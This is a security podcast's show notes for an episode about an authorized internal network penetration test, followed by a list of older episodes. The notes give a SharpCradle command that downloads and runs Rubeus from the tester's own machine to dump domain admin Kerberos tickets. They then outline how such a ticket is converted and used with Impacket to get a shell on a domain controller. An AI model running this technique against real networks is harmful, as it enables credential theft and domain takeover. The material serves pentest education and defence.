7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
7 Minute Security19 Marras 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Jaksot(690)

7MS #74: How to Become a More Organized Information Security Professional

7MS #74: How to Become a More Organized Information Security Professional

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7MS #73: PCI Pentesting 101 – Part 2 (audio)

7MS #73: PCI Pentesting 101 – Part 2 (audio)

This episode is the exciting continuation of a recent pentest I did, in which I got some serious pwnage, including cracking the domain admin password! 7MS #73: PCI Pentesting 101 – Part 2 (audio)

30 Kesä 20157min

7MS #72: PCI Pentesting 101 (audio)

7MS #72: PCI Pentesting 101 (audio)

I’m pumped to talk about an about an awesome, free little tool that made my Internet connection feel like new again. 7MS #72: PCI Pentesting 101 (audio)

25 Kesä 20157min

7MS #71: OFFTOPIC-Mad Max (audio)

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We’re going totally off topic today and doing a movie review of Mad Max! 7MS #71: OFFTOPIC-Mad Max (audio)

23 Kesä 20158min

7MS #70: Get the Most out of Your DNS! (audio)

7MS #70: Get the Most out of Your DNS! (audio)

I’m pumped to talk about an about an awesome, free little tool that made my Internet connection feel like new again. 7MS #70: Get the Most out of Your DNS! (audio)

18 Kesä 20157min

7MS #69: I’m Not Responsible for Your Information Insecurity (audio)

7MS #69: I’m Not Responsible for Your Information Insecurity (audio)

Are you too hard on yourself? Do you think the success of your client’s infosec program lives and dies with you? Listen to this episode. You might feel better. 7MS #69: I’m Not Responsible for Your Information Insecurity (audio)

16 Kesä 20158min

7MS #68: Is Training and Awareness Worth It or Worthless (audio)

7MS #68: Is Training and Awareness Worth It or Worthless (audio)

This episode is about something that got my undies in a bunch – I heard a security expert imply that training and awareness might be worthless! 7MS #68: Is Training and Awareness Worth It or Worthless (audio)

11 Kesä 20158min

7MS #67: Wifi Sniffing is Fun-Part 2 (audio)

7MS #67: Wifi Sniffing is Fun-Part 2 (audio)

This is a follow-up to episode #64, in which I did some fun wireless sniffing and tried to find sensitive data within it! In the episode I talk about the network “map” of my sniffing setup. It looks like this: Ethernet from client->upstream port of hub My laptop with Wireshark->Hub Wifi access point->Hub To find…

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